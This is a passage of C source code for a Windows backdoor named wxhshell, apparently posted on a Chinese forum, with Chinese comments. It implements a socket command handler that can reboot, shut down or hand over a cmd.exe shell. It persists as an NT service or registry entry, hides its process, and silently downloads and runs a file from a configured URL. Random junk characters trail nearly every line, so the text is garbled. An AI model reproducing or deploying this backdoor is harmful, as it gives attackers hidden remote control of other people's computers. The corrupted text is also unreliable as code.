  case '?': { xlZh(pf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J-+mdA  
    break; Dh^l :q+c  
  } ;jxX/c  
  // 安装 2+ u+9rW  
  case 'i': { @~gPZm  
    if(Install()) d%}?%VH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $/^Y(0  
    else 3q4VH q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 48,*sTRq  
    break; 1[OY- G  
    } MVM Jl">  
  // 卸载 !43nL[]  
  case 'r': { +m JG:n  
    if(Uninstall()) _*}D@yy&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w5q6c%VZ  
    else skeeec\V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MNU7OX<  
    break; pej-W/R&  
    } (f"Qz~R|6_  
  // 显示 wxhshell 所在路径 P [aE3Felk  
  case 'p': { '[6]W)f  
    char svExeFile[MAX_PATH]; :&5u)  
    strcpy(svExeFile,"\n\r"); Rm3W&hQ  
      strcat(svExeFile,ExeFile); zecM|S_  
        send(wsh,svExeFile,strlen(svExeFile),0); YQ+8lANC  
    break; X%-"b`  
    } 7Vf XE/  
  // 重启 XSx!11  
  case 'b': { 4+qo=i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &5jc &CS  
    if(Boot(REBOOT)) R[F`b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H5]q*D2  
    else { .+2:~%v6  
    closesocket(wsh); 4grV2xtX  
    ExitThread(0); 3K(/=  
    } v$`3}<3-  
    break; 6!)hl"  
    } $ ^)g,  
  // 关机 :M;|0w*b  
  case 'd': { MuO(%.H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j^/<:e c.  
    if(Boot(SHUTDOWN)) >WO;q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lm$KR!z  
    else { ^Zpz@T>m  
    closesocket(wsh); $lB!Q8a$  
    ExitThread(0); mr[1F]G  
    } q: F6MW  
    break; Bph(\= W  
    } rG-x 3>b  
  // 获取shell bPV}T`  
  case 's': { e8SAjl"}  
    CmdShell(wsh); tZ) ,Z<  
    closesocket(wsh); x15&U\U  
    ExitThread(0); k FRVW+  
    break; @6_w{6:b  
  } CZy!nR!  
  // 退出 Z>`frL  
  case 'x': { X$%[%q8qg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kFQo[O]  
    CloseIt(wsh); G{pF! q  
    break; U&^(%W#  
    } S41S+#7t*  
  // 离开 EP4?+"Z  
  case 'q': { g:^Hex?Yfd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cjt].XR@  
    closesocket(wsh); R8.@5g_  
    WSACleanup(); c~M'O26bW  
    exit(1); Y}}1]}VIK  
    break; ER`;0#3[9u  
        } H(?+-72KX  
  } B*`[8kb,  
  } 5!i\S[:  
=f=>buD  
  // 提示信息 {JQV~rfh`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m,5m'9 dj  
} "V:RKH`  
  } X.e4pLwGK  
abe5 As r  
  return; ME*zMLoF+  
} cor!Sa>  
d<] eJ{  
// shell模块句柄 c8l\1ce?7  
int CmdShell(SOCKET sock) laCVj6Rk  
{ Zz|et206  
STARTUPINFO si; 22d>\u+c  
ZeroMemory(&si,sizeof(si)); Yg!fEopLb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GOCe&?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZjK'gu8*  
PROCESS_INFORMATION ProcessInfo; @gx]3t*]I  
char cmdline[]="cmd"; YFcMU5_F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]7,0}q.  
  return 0; Q9X+H4`}y  
} it j&L <e  
nwJub$5  
// 自身启动模式 !9S!zRy@  
int StartFromService(void) y7b>>|C  
{ ,[|i^  
typedef struct 2j^8{Agz  
{ V#&S&dn  
  DWORD ExitStatus; Y,KSr|vG  
  DWORD PebBaseAddress; q\s>Oe6$  
  DWORD AffinityMask; 1N.weey}W  
  DWORD BasePriority; 27JZwlzZ  
  ULONG UniqueProcessId; 0;5qo~1  
  ULONG InheritedFromUniqueProcessId; utdus:B#0  
}   PROCESS_BASIC_INFORMATION; [r1\FF@v,  
> W^"*B  
PROCNTQSIP NtQueryInformationProcess; )P W Zc?M  
|'k7 ;UW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E zU=q E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]D>\Z(b  
x50ZwV&j  
  HANDLE             hProcess; +o 6"Z)  
  PROCESS_BASIC_INFORMATION pbi;  N,ihQB5  
Xj6?,J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s=&x%0f%  
  if(NULL == hInst ) return 0; `g'9)Xf4KT  
TwZmZE ?!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G{'`L)~3N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NW*$+u%/R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R5cpmCs@R  
ynq^ztBVe  
  if (!NtQueryInformationProcess) return 0; l5Q-M{w0x  
d?GB#N|+g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); covK6SH  
  if(!hProcess) return 0; d r=h;[Q'  
?&XpwJw:~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8}OII\  
[@/x  
  CloseHandle(hProcess); =eeZtj.  
]#O~lq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KupQtT<  
if(hProcess==NULL) return 0; {@67'jL  
PAjH*5I A  
HMODULE hMod; 0e~4(2xK  
char procName[255]; Q$S|LC  
unsigned long cbNeeded; RZ9chTX/  
\avgXndI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8Dc'"3+6  
-H](2}  
  CloseHandle(hProcess); N9AM% H$7  
Z2{G{]EV(  
if(strstr(procName,"services")) return 1; // 以服务启动 G4K3qD#+H  
WaDdZIz4  
  return 0; // 注册表启动 V53iWWaFe  
} D"s ]dQ$r  
6  8a  
// 主模块 `yua?n  
int StartWxhshell(LPSTR lpCmdLine) RATW[(ZA  
{ uPL|3ACS  
  SOCKET wsl; 0(az80 p  
BOOL val=TRUE; idP2G|Z  
  int port=0; 5l /EZ\q  
  struct sockaddr_in door; vt2A/9_Z%  
~&8bVA= .  
  if(wscfg.ws_autoins) Install(); sG k'G573  
uKpWb1(  
port=atoi(lpCmdLine); 6tT*b@/_o  
CDDOm8  
if(port<=0) port=wscfg.ws_port; E<4'4)FHuQ  
@]:GTrs  
  WSADATA data; ^U{SUWl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q\GSX RP  
lZhd^69y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j?oh~7Ki  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y/6%'56uF  
  door.sin_family = AF_INET; s% (|z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `&)uuLn|  
  door.sin_port = htons(port); ~*^aCuq\  
>Byxb./*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H1kxY]_/  
closesocket(wsl); gK>aR ^*  
return 1; T.#Vma  
} ]=T-C v=t  
A{KF<Omu  
  if(listen(wsl,2) == INVALID_SOCKET) { i|OG#PsY-  
closesocket(wsl); ~_hn{Ou s  
return 1; /UPe@  
} YhFd0A?]  
  Wxhshell(wsl); iz\GahK  
  WSACleanup(); 222Mm/QN  
bZzB\FB~  
return 0; _(J/$D  
)Vnqz lI5  
} 9/I|oh_ G  
w4\g]\  
// 以NT服务方式启动 /4#A|;d_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .Fn7yTQ%  
{ ;UDd4@3`S"  
DWORD   status = 0; KMogwulG  
  DWORD   specificError = 0xfffffff; ?CUGJT  
-}Q^A_xK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qK12:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YgW 50)q^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9w( Wtw'  
  serviceStatus.dwWin32ExitCode     = 0; ' lMPI@C6r  
  serviceStatus.dwServiceSpecificExitCode = 0; `\5u/i'Ca!  
  serviceStatus.dwCheckPoint       = 0; ?*2Uw{~}  
  serviceStatus.dwWaitHint       = 0; u:s[6T0  
ya0D5 0m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tc<ly{ 1c  
  if (hServiceStatusHandle==0) return; kF29~  
0}iND$6@a  
status = GetLastError(); FJ(}@U}57  
  if (status!=NO_ERROR) tw%z!u[a  
{ tg' 2 v/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S{F'k;x/5  
    serviceStatus.dwCheckPoint       = 0; U%E364;F  
    serviceStatus.dwWaitHint       = 0; SK G!DKQ  
    serviceStatus.dwWin32ExitCode     = status; %Y*]eLT>  
    serviceStatus.dwServiceSpecificExitCode = specificError; qD<\U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wj#A#[e  
    return; LyA}Nd]pyq  
  } o!>h Q#h  
^ woCwW8n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tunjV1 ,]  
  serviceStatus.dwCheckPoint       = 0; Z@{e\sZ)  
  serviceStatus.dwWaitHint       = 0; d\A!5/LG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ),]XN#jp(u  
} =E10j.r  
:B"Y3~I  
// 处理NT服务事件,比如:启动、停止 we;QrS(Hi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T+U,?2nF:  
{ >,)tRQS  
switch(fdwControl) ;ro%Wjg`}  
{ :FqHMN  
case SERVICE_CONTROL_STOP: R8![ $mkU  
  serviceStatus.dwWin32ExitCode = 0; Q/<?v!h{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XpU%09K  
  serviceStatus.dwCheckPoint   = 0; #Qnl,lf  
  serviceStatus.dwWaitHint     = 0;  {;| >Qn  
  { Y+0HC2(o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <9jN4hV  
  } 1xzOD@=dI  
  return; n/jZi54gO  
case SERVICE_CONTROL_PAUSE: 2E*h,Mo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o+I'nFtnI  
  break; sxFkpf_h  
case SERVICE_CONTROL_CONTINUE: `37$YdX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CFyu9Al  
  break; akB+4?+s)  
case SERVICE_CONTROL_INTERROGATE: WG=~GDS>  
  break; $Y9Wzv3Ra  
}; A-om?$7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +Ssu^ >D  
} tEE4"OAy  
G~N$bF^R)  
// 标准应用程序主函数 *N!>c&8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N497"H</  
{ I` +%ab  
qGrUS_~q*  
// 获取操作系统版本 .T|1l$Jn  
OsIsNt=GetOsVer(); i_M0P12  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !H/5Ud9  
bIP%xl Vp  
  // 从命令行安装 $:D-dUr1  
  if(strpbrk(lpCmdLine,"iI")) Install(); rI.CCPY~s  
GB\1'  
  // 下载执行文件 h#Q Sx@U6  
if(wscfg.ws_downexe) { >hsvRX\_ `  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yhJA{nL=  
  WinExec(wscfg.ws_filenam,SW_HIDE); QssU\@ / Q  
} q6a7o=BP]  
D +Ui1h-  
if(!OsIsNt) { w:+wx/\  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ti!<{>  
HideProc(); asd3J  
StartWxhshell(lpCmdLine); Xah-*]ET  
} H". [&VP5Z  
else B9i< ="=p  
  if(StartFromService()) ,ctm;T1H+  
  // 以服务方式启动 {RPZq2Tpc  
  StartServiceCtrlDispatcher(DispatchTable); ZxvBo4>tH  
else wi$,Y. :  
  // 普通方式启动 ^DH*\ee  
  StartWxhshell(lpCmdLine); t+<?$I[  
W34_@,GD  
return 0; .&2Nm&y$ K  
}
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只看该作者 1 发表于: 2006-10-10
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